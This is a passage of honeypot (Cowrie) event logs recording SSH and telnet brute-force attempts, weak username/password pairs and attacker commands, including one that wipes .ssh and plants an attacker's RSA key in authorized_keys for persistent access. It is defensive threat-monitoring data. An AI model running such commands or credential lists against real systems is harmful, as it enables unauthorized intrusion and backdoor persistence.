sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:01.336691Z","src_ip":"50.99.170.152","session":"7553c6b71070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@1234","message":"login attempt [root/Test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:01.608890Z","src_ip":"50.99.170.152","session":"7553c6b71070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.008894443511963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:02.089426Z","src_ip":"62.171.135.55","session":"732b6c9ce170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:02.673993Z","src_ip":"50.99.170.152","session":"7553c6b71070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0278000831604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:11.690899Z","src_ip":"199.103.61.230","session":"bceaedca8567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.98.111","src_port":57778,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0bdbe4ce99","protocol":"telnet","message":"New connection: 157.15.98.111:57778 (10.17.0.5:23) [session: 6e0bdbe4ce99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:15.749492Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44128,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e2723d4cf7","protocol":"ssh","message":"New connection: 159.203.92.129:44128 (159.203.135.109:22) [session: 96e2723d4cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:17.242941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:17.343993Z","src_ip":"159.203.92.129","session":"96e2723d4cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:17.352336Z","src_ip":"159.203.92.129","session":"96e2723d4cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty123456","message":"login attempt [ansible/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:17.623521Z","src_ip":"159.203.92.129","session":"96e2723d4cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:19.165934Z","src_ip":"159.203.92.129","session":"96e2723d4cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c49c3025eeb","protocol":"telnet","message":"New connection: 199.103.61.230:39842 (10.17.0.5:23) [session: 7c49c3025eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:44.654058Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"807bc657e9e8","protocol":"telnet","message":"New connection: 199.103.61.230:40752 (10.17.0.5:23) [session: 807bc657e9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:51.544959Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":49116,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1fc3c86854","protocol":"ssh","message":"New connection: 50.99.170.152:49116 (159.203.135.109:22) [session: dd1fc3c86854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.024535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.029297Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.087986Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1","message":"login attempt [oracle/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.352007Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.509067Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.511268Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.513841Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.578787Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.742637Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.746403Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.807624Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.811473Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":49130,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57bcb45081c","protocol":"ssh","message":"New connection: 50.99.170.152:49130 (159.203.135.109:22) [session: a57bcb45081c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.867364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.872023Z","src_ip":"50.99.170.152","session":"a57bcb45081c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:53.931088Z","src_ip":"50.99.170.152","session":"a57bcb45081c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:54.194174Z","src_ip":"50.99.170.152","session":"a57bcb45081c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37988,"dst_ip":"159.203.135.109","dst_port":22,"session":"6890b8db8c5f","protocol":"ssh","message":"New connection: 159.203.92.129:37988 (159.203.135.109:22) [session: 6890b8db8c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.057509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.062588Z","src_ip":"159.203.92.129","session":"6890b8db8c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.072863Z","src_ip":"159.203.92.129","session":"6890b8db8c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwertyasdfgh","message":"login attempt [ansible/qwertyasdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.089901Z","src_ip":"159.203.92.129","session":"6890b8db8c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.257926Z","src_ip":"50.99.170.152","session":"a57bcb45081c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":54280,"dst_ip":"159.203.135.109","dst_port":22,"session":"a07ed53c6d8f","protocol":"ssh","message":"New connection: 50.99.170.152:54280 (159.203.135.109:22) [session: a07ed53c6d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.315780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.320880Z","src_ip":"50.99.170.152","session":"a07ed53c6d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.383463Z","src_ip":"50.99.170.152","session":"a07ed53c6d8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.662529Z","src_ip":"50.99.170.152","session":"a07ed53c6d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.723649Z","src_ip":"50.99.170.152","session":"dd1fc3c86854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:55.729765Z","src_ip":"50.99.170.152","session":"a07ed53c6d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:00:56.138456Z","src_ip":"159.203.92.129","session":"6890b8db8c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.160529613494873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:15.814493Z","src_ip":"199.103.61.230","session":"7c49c3025eeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":40000,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3acab2bf22","protocol":"telnet","message":"New connection: 199.103.61.230:40000 (10.17.0.5:23) [session: 4e3acab2bf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:16.336849Z"}
{"eventid":"cowrie.session.closed","duration":0.06351900100708008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:16.400255Z","src_ip":"199.103.61.230","session":"4e3acab2bf22","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:16.435163Z","src_ip":"157.15.98.111","session":"6e0bdbe4ce99","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:16.484070Z","src_ip":"157.15.98.111","session":"6e0bdbe4ce99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752803325653076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:22.297654Z","src_ip":"199.103.61.230","session":"807bc657e9e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48014,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf63e094aa0","protocol":"ssh","message":"New connection: 159.203.92.129:48014 (159.203.135.109:22) [session: 4cf63e094aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:23.385029Z"}
